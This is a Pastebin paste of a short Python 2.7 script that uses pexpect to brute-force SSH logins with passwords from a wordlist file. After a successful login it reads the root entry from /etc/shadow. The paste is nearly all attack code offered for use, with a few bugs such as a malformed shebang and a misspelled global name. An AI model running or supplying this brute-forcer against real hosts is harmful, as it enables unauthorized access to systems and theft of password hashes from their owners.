Advertisement
Guest User

Untitled

a guest
Jan 27th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. #! usr/bin/python2.7
  2. import pexpect
  3. PROMPT=['#','*','>>>','>','$']
  4.  
  5. def command(child,cmd):
  6. child.sendline(cmd)
  7. child.expect(PROMPT)
  8. print child.before
  9.  
  10. def connect(user,host,password):
  11. ssh_newkey="Are you sure you want to continue connecting"
  12. connstr='ssh '+user+"@"+host
  13. child=pexpect.spawn(connstr)
  14. ret=child.expect([pexpect.TIMEOUT,ssh_newkey,'Password : '])
  15. if ret==0:
  16. print ("[-] Error connecting : timeout_1")
  17. return 0
  18. if ret==1:
  19. child.sendline('yes')
  20. ret=child.expect([pexpect.TIMEOUT,'Password : '])
  21. if ret==0:
  22. print ("[-] Error connecting : timeout_2")
  23. return 0
  24. print("[*] Attempting password : "+password)
  25. child.sendline(password)
  26. child.expect(PROMPT)
  27. return child
  28. def main():
  29. host=raw_input("Enter hostname : ")
  30. user=raw_input("Enter username : ")
  31. global paswords
  32. passwords=open('wordlist.txt','r')
  33. for pwd in passwords:
  34. child=connect(user,host,pwd)
  35. if(child==0):
  36. continue
  37. command(child,'cat /etc/shadow | grep root')
  38. if __name__=="__main__":
  39. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement